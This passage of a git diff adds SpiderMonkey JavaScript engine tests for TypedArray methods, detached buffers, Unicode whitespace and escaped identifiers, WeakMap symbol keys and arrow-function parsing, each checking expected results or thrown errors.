+Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toReversed-detached.js b/js/src/tests/non262/TypedArray/toReversed-detached.js
new file mode 100644
index 0000000000..ae2a784180
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toReversed-detached.js
@@ -0,0 +1,10 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Int32Array.prototype.toReversed)
+
+var ta = new Int32Array([3, 2, 1]);
+
+detachArrayBuffer(ta.buffer);
+
+assertThrowsInstanceOf(() => ta.toReversed(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/toSorted-detached.js b/js/src/tests/non262/TypedArray/toSorted-detached.js
new file mode 100644
index 0000000000..a4c5ba2252
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toSorted-detached.js
@@ -0,0 +1,10 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Int32Array.prototype.toSorted)
+
+var ta = new Int32Array([3, 2, 1]);
+
+detachArrayBuffer(ta.buffer);
+
+assertThrowsInstanceOf(() => ta.toSorted(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/toString.js b/js/src/tests/non262/TypedArray/toString.js
new file mode 100644
index 0000000000..0879b8b31d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toString.js
@@ -0,0 +1,69 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "toString" property.
+assertEq(TypedArrayPrototype.hasOwnProperty("toString"), true);
+
+// The initial value of %TypedArrayPrototype%.toString is Array.prototype.toString.
+assertEq(TypedArrayPrototype.toString, Array.prototype.toString);
+
+// The concrete TypedArray prototypes do not have an own "toString" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("toString")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "toString"), {
+ value: TypedArrayPrototype.toString,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+for (let constructor of anyTypedArrayConstructors) {
+ assertEq(new constructor([]).toString(), "");
+ assertEq(new constructor([1]).toString(), "1");
+ assertEq(new constructor([1, 2]).toString(), "1,2");
+}
+
+const testCases = {
+ [Int8Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int16Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Int32Array.name]: {
+ array: [-1, 2, -3, 4, NaN],
+ expected: "-1,2,-3,4,0",
+ },
+ [Uint8Array.name]: {
+ array: [255, 2, 3, 4, NaN],
+ expected: "255,2,3,4,0",
+ },
+ [Uint16Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "65535,2,3,4,0",
+ },
+ [Uint32Array.name]: {
+ array: [-1, 2, 3, 4, NaN],
+ expected: "4294967295,2,3,4,0",
+ },
+ [Uint8ClampedArray.name]: {
+ array: [255, 256, 2, 3, 4, NaN],
+ expected: "255,255,2,3,4,0",
+ },
+ [Float32Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+ [Float64Array.name]: {
+ array: [-0, 0, 0.5, -0.5, NaN, Infinity, -Infinity],
+ expected: "0,0,0.5,-0.5,NaN,Infinity,-Infinity",
+ },
+};
+for (let constructor of anyTypedArrayConstructors) {
+ let {array, expected} = testCases[constructor.name];
+ assertEq(new constructor(array).toString(), expected);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js b/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js
new file mode 100644
index 0000000000..8f0875721c
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/toStringTag-cross-compartment.js
@@ -0,0 +1,12 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+const {get: toStringTag} = Object.getOwnPropertyDescriptor(TypedArrayPrototype, Symbol.toStringTag);
+
+const otherGlobal = newGlobal();
+
+for (let constructor of anyTypedArrayConstructors) {
+ let ta = new otherGlobal[constructor.name](0);
+ assertEq(toStringTag.call(ta), constructor.name);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/uint8clamped-constructor.js b/js/src/tests/non262/TypedArray/uint8clamped-constructor.js
new file mode 100644
index 0000000000..3eefe70f1f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/uint8clamped-constructor.js
@@ -0,0 +1,9 @@
+for (var v of [-300, 255.6, 300, 3.5, -3.9]) {
+ var a = new Uint8ClampedArray([v]);
+ var b = new Uint8ClampedArray(1);
+ b[0] = v;
+
+ assertEq(a[0], b[0]);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/values.js b/js/src/tests/non262/TypedArray/values.js
new file mode 100644
index 0000000000..bf486bfa0a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/values.js
@@ -0,0 +1,37 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.values.length, 0);
+ assertEq(constructor.prototype.values.name, "values");
+ assertEq(constructor.prototype.values, constructor.prototype[Symbol.iterator]);
+
+ assertDeepEq([...new constructor(0).values()], []);
+ assertDeepEq([...new constructor(1).values()], [0]);
+ assertDeepEq([...new constructor(2).values()], [0, 0]);
+ assertDeepEq([...new constructor([15]).values()], [15]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.values();
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: 3, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var values = newGlobal()[constructor.name].prototype.values;
+ assertDeepEq([...values.call(new constructor([42, 36]))], [42, 36]);
+ arr = new (newGlobal()[constructor.name])([42, 36]);
+ assertEq([...constructor.prototype.values.call(arr)].toString(), "42,36");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.values.call(invalidReceiver);
+ }, TypeError, "Assert that values fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/with-detached.js b/js/src/tests/non262/TypedArray/with-detached.js
new file mode 100644
index 0000000000..76711a0ee5
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/with-detached.js
@@ -0,0 +1,10 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Int32Array.prototype.with)
+
+var ta = new Int32Array([3, 2, 1]);
+
+detachArrayBuffer(ta.buffer);
+
+assertThrowsInstanceOf(() => ta.with(0, 0), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/with.js b/js/src/tests/non262/TypedArray/with.js
new file mode 100644
index 0000000000..c240f7084e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/with.js
@@ -0,0 +1,34 @@
+// |reftest| shell-option(--enable-change-array-by-copy) skip-if(!Int32Array.prototype.with)
+
+class Err {}
+
+const indices = [
+ -Infinity, -10, -0.5, -0, 0, 0.5, 10, Infinity, NaN
+];
+
+let value = {
+ valueOf() {
+ throw new Err;
+ }
+};
+
+let ta = new Int32Array(5);
+for (let index of indices) {
+ assertThrowsInstanceOf(() => ta.with(index, value), Err);
+}
+
+for (let index of indices) {
+ let ta = new Int32Array(5);
+
+ let value = {
+ valueOf() {
+ detachArrayBuffer(ta.buffer);
+ return 0;
+ }
+ };
+
+ assertThrowsInstanceOf(() => ta.with(index, value), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js b/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js
new file mode 100644
index 0000000000..48a538eab7
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/write-out-of-bounds-tonumber.js
@@ -0,0 +1,60 @@
+// ToNumber(value) is executed for OOB writes when using a direct assignment.
+function plainSet() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ ta[0] = value
+
+ assertEq(callCount, N);
+}
+for (var i = 0; i < 2; ++i) plainSet();
+
+// ToNumber(value) is executed for OOB writes when using Reflect.set(...).
+function reflectSet() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ assertEq(Reflect.set(ta, 0, value), true);
+
+ assertEq(callCount, N);
+}
+for (var i = 0; i < 2; ++i) reflectSet();
+
+// ToNumber(value) is not executed for OOB writes when using Reflect.defineProperty(...).
+function defineProp() {
+ var callCount = 0;
+ var value = {
+ valueOf() {
+ callCount++;
+ return 1;
+ }
+ };
+ var desc = {value, writable: true, enumerable: true, configurable: true};
+
+ var N = 100;
+ var ta = new Int32Array(0);
+ for (var i = 0; i < N; ++i)
+ assertEq(Reflect.defineProperty(ta, 0, desc), false);
+
+ assertEq(callCount, 0);
+}
+for (var i = 0; i < 2; ++i) defineProp();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Unicode/browser.js b/js/src/tests/non262/Unicode/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Unicode/browser.js
diff --git a/js/src/tests/non262/Unicode/non-bmp-non-spaces.js b/js/src/tests/non262/Unicode/non-bmp-non-spaces.js
new file mode 100644
index 0000000000..809eb81d28
--- /dev/null
+++ b/js/src/tests/non262/Unicode/non-bmp-non-spaces.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// White space must not be determined by truncating char32_t to char16_t.
+
+assertThrowsInstanceOf(() => eval("\u{40008}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{40009}"), SyntaxError); // U+0009 CHARACTER TABULATION
+assertThrowsInstanceOf(() => eval("\u{4000A}"), SyntaxError); // U+000A LINE FEED
+assertThrowsInstanceOf(() => eval("\u{4000B}"), SyntaxError); // U+000B LINE TABULATION
+assertThrowsInstanceOf(() => eval("\u{4000C}"), SyntaxError); // U+000C FORM FEED
+assertThrowsInstanceOf(() => eval("\u{4000D}"), SyntaxError); // U+000D CARRIAGE RETURN
+assertThrowsInstanceOf(() => eval("\u{4000E}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4001F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{40020}"), SyntaxError); // U+0020 SPACE
+assertThrowsInstanceOf(() => eval("\u{40021}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4009F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{400A0}"), SyntaxError); // U+00A0 NO-BREAK SPACE
+assertThrowsInstanceOf(() => eval("\u{400A1}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4167F}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{41680}"), SyntaxError); // U+1680 OGHAM SPACE MARK
+assertThrowsInstanceOf(() => eval("\u{41681}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{41FFF}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{42000}"), SyntaxError); // U+2000 EN QUAD
+assertThrowsInstanceOf(() => eval("\u{42001}"), SyntaxError); // U+2001 EM QUAD
+assertThrowsInstanceOf(() => eval("\u{42002}"), SyntaxError); // U+2002 EN SPACE
+assertThrowsInstanceOf(() => eval("\u{42003}"), SyntaxError); // U+2003 EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42004}"), SyntaxError); // U+2004 THREE-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42005}"), SyntaxError); // U+2005 FOUR-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42006}"), SyntaxError); // U+2006 SIX-PER-EM SPACE
+assertThrowsInstanceOf(() => eval("\u{42007}"), SyntaxError); // U+2007 FIGURE SPACE
+assertThrowsInstanceOf(() => eval("\u{42008}"), SyntaxError); // U+2008 PUNCTUATION SPACE
+assertThrowsInstanceOf(() => eval("\u{42009}"), SyntaxError); // U+2009 THIN SPACE
+assertThrowsInstanceOf(() => eval("\u{4200A}"), SyntaxError); // U+200A HAIR SPACE
+assertThrowsInstanceOf(() => eval("\u{4200B}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{42027}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{42028}"), SyntaxError); // U+2028 LINE SEPARATOR
+assertThrowsInstanceOf(() => eval("\u{42029}"), SyntaxError); // U+2028 PARAGRAPH SEPARATOR
+assertThrowsInstanceOf(() => eval("\u{4202A}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4202E}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{4202F}"), SyntaxError); // U+202F NARROW NO-BREAK SPACE
+assertThrowsInstanceOf(() => eval("\u{42030}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{4205E}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{4205F}"), SyntaxError); // U+205F MEDIUM MATHEMATICAL SPACE
+assertThrowsInstanceOf(() => eval("\u{42060}"), SyntaxError);
+
+assertThrowsInstanceOf(() => eval("\u{42FFF}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("\u{43000}"), SyntaxError); // U+3000 IDEOGRAPHIC SPACE
+assertThrowsInstanceOf(() => eval("\u{43001}"), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Unicode/regress-352044-01.js b/js/src/tests/non262/Unicode/regress-352044-01.js
new file mode 100644
index 0000000000..bdbb4371b9
--- /dev/null
+++ b/js/src/tests/non262/Unicode/regress-352044-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+
+ try
+ {
+ var i = 1;
+ eval('i \\u002b= 1');
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Unicode/regress-352044-02-n.js b/js/src/tests/non262/Unicode/regress-352044-02-n.js
new file mode 100644
index 0000000000..d3f41c3e8a
--- /dev/null
+++ b/js/src/tests/non262/Unicode/regress-352044-02-n.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352044;
+var summary = 'issues with Unicode escape sequences in JavaScript source code';
+var actual = 'No Error';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test case is expected to throw an uncaught SyntaxError');
+
+ try
+ {
+ var i = 1;
+ i \u002b= 1;
+ print(i);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Unicode/shell.js b/js/src/tests/non262/Unicode/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Unicode/shell.js
diff --git a/js/src/tests/non262/Unicode/uc-001-n.js b/js/src/tests/non262/Unicode/uc-001-n.js
new file mode 100644
index 0000000000..4ac78b5c2c
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-001-n.js
@@ -0,0 +1,23 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23612;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode Characters 1C-1F negative test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("error", eval ("'no'\u001C+' error'"),
+ "Unicode whitespace test (1C.)");
+ reportCompare ("error", eval ("'no'\u001D+' error'"),
+ "Unicode whitespace test (1D.)");
+ reportCompare ("error", eval ("'no'\u001E+' error'"),
+ "Unicode whitespace test (1E.)");
+ reportCompare ("error", eval ("'no'\u001F+' error'"),
+ "Unicode whitespace test (1F.)");
+}
diff --git a/js/src/tests/non262/Unicode/uc-002-n.js b/js/src/tests/non262/Unicode/uc-002-n.js
new file mode 100644
index 0000000000..5b1512a70e
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-002-n.js
@@ -0,0 +1,14 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23607;
+DESCRIPTION = "Non-character escapes in identifiers negative test.";
+
+printStatus ("Non-character escapes in identifiers negative test.");
+printBugNumber (BUGNUMBER);
+
+eval("\u0020 = 5");
+reportCompare('PASS', 'FAIL', "Previous statement should have thrown an error.");
+
diff --git a/js/src/tests/non262/Unicode/uc-002.js b/js/src/tests/non262/Unicode/uc-002.js
new file mode 100644
index 0000000000..e96d95d377
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-002.js
@@ -0,0 +1,21 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23613;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode non-breaking space character test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare ("no error", eval("'no'\u00A0+ ' error'"),
+ "Unicode non-breaking space character test.");
+
+ var str = "\u00A0foo";
+ reportCompare (0, str.search(/^\sfoo$/),
+ "Unicode non-breaking space character regexp test.");
+}
diff --git a/js/src/tests/non262/Unicode/uc-003.js b/js/src/tests/non262/Unicode/uc-003.js
new file mode 100644
index 0000000000..12207809ad
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-003.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23608;
+var BUGNUMBER = 23607;
+
+test();
+
+function test()
+{
+ var \u0041 = 5;
+ var A\u03B2 = 15;
+
+ printStatus ("Escapes in identifiers test.");
+ printBugNumber (BUGNUMBER);
+
+ reportCompare (5, eval("\u0041"),
+ "Escaped ASCII Identifier test.");
+ reportCompare (6, eval("++\u0041"),
+ "Escaped ASCII Identifier test");
+ reportCompare (15, eval("A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+ reportCompare (16, eval("++A\u03B2"),
+ "Escaped non-ASCII Identifier test");
+}
diff --git a/js/src/tests/non262/Unicode/uc-004.js b/js/src/tests/non262/Unicode/uc-004.js
new file mode 100644
index 0000000000..4490753491
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-004.js
@@ -0,0 +1,26 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 23612;
+
+test();
+
+function test()
+{
+ printStatus ("Unicode Characters 1C-1F with regexps test.");
+ printBugNumber (BUGNUMBER);
+
+ var ary = ["\u001Cfoo", "\u001Dfoo", "\u001Efoo", "\u001Ffoo"];
+
+ for (var i in ary)
+ {
+ reportCompare (0, ary[Number(i)].search(/^\Sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] did not match \\S test (it should not.)");
+ reportCompare (-1, ary[Number(i)].search(/^\sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] matched \\s test (it should not.)");
+ }
+}
diff --git a/js/src/tests/non262/Unicode/uc-005.js b/js/src/tests/non262/Unicode/uc-005.js
new file mode 100644
index 0000000000..fe28b460fc
--- /dev/null
+++ b/js/src/tests/non262/Unicode/uc-005.js
@@ -0,0 +1,239 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing identifiers with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing identifiers with double-byte names';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Define a function that uses double-byte identifiers in
+ * "every possible way"
+ *
+ * Then recover each double-byte identifier via f.toString().
+ * To make this easier, put a 'Z' token before every one.
+ *
+ * Our eval string will be:
+ *
+ * sEval = "function Z\u02b1(Z\u02b2, b) {
+ * try { Z\u02b3 : var Z\u02b4 = Z\u02b1; }
+ * catch (Z\u02b5) { for (var Z\u02b6 in Z\u02b5)
+ * {for (1; 1<0; Z\u02b7++) {new Array()[Z\u02b6] = 1;} };} }";
+ *
+ * It will be helpful to build this string in stages:
+ */
+var s0 = 'function Z';
+var s1 = '\u02b1(Z';
+var s2 = '\u02b2, b) {try { Z';
+var s3 = '\u02b3 : var Z';
+var s4 = '\u02b4 = Z';
+var s5 = '\u02b1; } catch (Z'
+ var s6 = '\u02b5) { for (var Z';
+var s7 = '\u02b6 in Z';
+var s8 = '\u02b5){for (1; 1<0; Z';
+var s9 = '\u02b7++) {new Array()[Z';
+var s10 = '\u02b6] = 1;} };} }';
+
+
+/*
+ * Concatenate these and eval() to create the function Z\u02b1
+ */
+var sEval = s0 + s1 + s2 + s3 + s4 + s5 + s6 + s7 + s8 + s9 + s10;
+eval(sEval);
+
+
+/*
+ * Recover all the double-byte identifiers via Z\u02b1.toString().
+ * We'll recover the 1st one as arrID[1], the 2nd one as arrID[2],
+ * and so on ...
+ */
+var arrID = getIdentifiers(Z\u02b1);
+
+
+/*
+ * Now check that we got back what we put in -
+ */
+status = inSection(1);
+actual = arrID[1];
+expect = s1.charAt(0);
+addThis();
+
+status = inSection(2);
+actual = arrID[2];
+expect = s2.charAt(0);
+addThis();
+
+status = inSection(3);
+actual = arrID[3];
+expect = s3.charAt(0);
+addThis();
+
+status = inSection(4);
+actual = arrID[4];
+expect = s4.charAt(0);
+addThis();
+
+status = inSection(5);
+actual = arrID[5];
+expect = s5.charAt(0);
+addThis();
+
+status = inSection(6);
+actual = arrID[6];
+expect = s6.charAt(0);
+addThis();
+
+status = inSection(7);
+actual = arrID[7];
+expect = s7.charAt(0);
+addThis();
+
+status = inSection(8);
+actual = arrID[8];
+expect = s8.charAt(0);
+addThis();
+
+status = inSection(9);
+actual = arrID[9];
+expect = s9.charAt(0);
+addThis();
+
+status = inSection(10);
+actual = arrID[10];
+expect = s10.charAt(0);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: recover the double-byte identifiers from f.toString()
+ * by getting the very next character after each 'Z' token.
+ *
+ * The return value will be an array |arr| indexed such that
+ * |arr[1]| is the 1st identifier, |arr[2]| the 2nd, and so on.
+ *
+ * Note, however, f.toString() is implementation-independent.
+ * For example, it may begin with '\nfunction' instead of 'function'.
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before we use it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getIdentifiers(f)
+{
+ var str = condenseStr(f.toString());
+ var arr = str.split('Z');
+
+ /*
+ * The identifiers are the 1st char of each split substring
+ * EXCEPT the first one, which is just ('\n' +) 'function '.
+ *
+ * Thus note the 1st identifier will be stored in |arr[1]|,
+ * the 2nd one in |arr[2]|, etc., making the indexing easy -
+ */
+ for (i in arr)
+ arr[i] = arr[i].charAt(0);
+ return arr;
+}
+
+
+/*
+ * This function is the opposite of a functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'")
+ }
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/WeakMap/browser.js b/js/src/tests/non262/WeakMap/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/browser.js
diff --git a/js/src/tests/non262/WeakMap/shell.js b/js/src/tests/non262/WeakMap/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/shell.js
diff --git a/js/src/tests/non262/WeakMap/symbols.js b/js/src/tests/non262/WeakMap/symbols.js
new file mode 100644
index 0000000000..68d6518f2a
--- /dev/null
+++ b/js/src/tests/non262/WeakMap/symbols.js
@@ -0,0 +1,10 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols can't be WeakMap keys.
+var m = new WeakMap;
+var sym = Symbol();
+assertThrowsInstanceOf(() => m.set(sym, 0), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js b/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js
new file mode 100644
index 0000000000..53926d65da
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/arrow-not-as-end-of-statement.js
@@ -0,0 +1,188 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Grab-bag of ArrowFunctions with block bodies appearing in contexts where the
+// subsequent token-examination must use the Operand modifier to avoid an
+// assertion.
+
+assertEq(`x ${a => {}} z`, "x a => {} z");
+
+for (a => {}; ; )
+ break;
+
+for (; a => {}; )
+ break;
+
+for (; ; a => {})
+ break;
+
